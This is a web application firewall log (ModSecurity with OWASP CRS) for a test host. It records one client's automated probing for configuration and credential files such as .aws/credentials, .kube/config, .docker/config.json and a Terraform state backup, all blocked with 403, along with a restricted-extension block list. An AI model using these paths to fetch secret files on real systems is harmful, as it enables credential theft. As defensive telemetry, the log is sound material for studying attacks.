[Sun Mar 01 20:25:47.014128 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/connectionstrings.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1CAAAAAc&quot;]
[Sun Mar 01 20:25:47.036643 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/machine.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1CQAAAAc&quot;]
[Sun Mar 01 20:25:47.037528 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/machine.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1CQAAAAc&quot;]
[Sun Mar 01 20:25:47.037797 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/machine.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1CQAAAAc&quot;]
[Sun Mar 01 20:25:47.059792 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/App.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1CgAAAAc&quot;]
[Sun Mar 01 20:25:47.060356 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/App.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1CgAAAAc&quot;]
[Sun Mar 01 20:25:47.060521 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/App.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1CgAAAAc&quot;]
[Sun Mar 01 20:25:47.082636 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1CwAAAAc&quot;]
[Sun Mar 01 20:25:47.083169 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1CwAAAAc&quot;]
[Sun Mar 01 20:25:47.083358 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/packages.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1CwAAAAc&quot;]
[Sun Mar 01 20:25:47.105380 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuget.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1DAAAAAc&quot;]
[Sun Mar 01 20:25:47.105874 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuget.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1DAAAAAc&quot;]
[Sun Mar 01 20:25:47.106052 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nuget.config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1DAAAAAc&quot;]
[Sun Mar 01 20:25:47.151730 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;Dockerfile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1DgAAAAc&quot;]
[Sun Mar 01 20:25:47.151988 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1DgAAAAc&quot;]
[Sun Mar 01 20:25:47.152190 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Dockerfile&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1DgAAAAc&quot;]
[Sun Mar 01 20:25:47.288509 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1FAAAAAc&quot;]
[Sun Mar 01 20:25:47.288761 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1FAAAAAc&quot;]
[Sun Mar 01 20:25:47.288912 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/config.json&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1FAAAAAc&quot;]
[Sun Mar 01 20:25:47.402231 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.kube/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .kube/ found within REQUEST_FILENAME: /.kube/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1GQAAAAc&quot;]
[Sun Mar 01 20:25:47.402464 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1GQAAAAc&quot;]
[Sun Mar 01 20:25:47.402629 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.kube/config&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1GQAAAAc&quot;]
[Sun Mar 01 20:25:47.560885 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform.tfstate.backup&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1IAAAAAc&quot;]
[Sun Mar 01 20:25:47.561353 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform.tfstate.backup&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1IAAAAAc&quot;]
[Sun Mar 01 20:25:47.561544 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/terraform.tfstate.backup&quot;] [unique_id &quot;aaSSu3R69CYXzb6lY2m1IAAAAAc&quot;]
[Sun Mar 01 20:25:47.818122 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aaSSuy6FxXVmoll0lknYlQAAAAs&quot;]
[Sun Mar 01 20:25:47.818443 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aaSSuy6FxXVmoll0lknYlQAAAAs&quot;]
[Sun Mar 01 20:25:47.818625 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aaSSuy6FxXVmoll0lknYlQAAAAs&quot;]
[Sun Mar 01 20:25:47.840929 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.aws/config&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aaSSuy6FxXVmoll0lknYlgAAAAs&quot;]
[Sun Mar 01 20:25:47.841196 2026] [:error] [pid 2409300] [client 185.177.72.30:53234] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/config&quot;] [unique_id &quot;aaSSuy6FxXVmoll0lknYlgAAAAs&quot;]
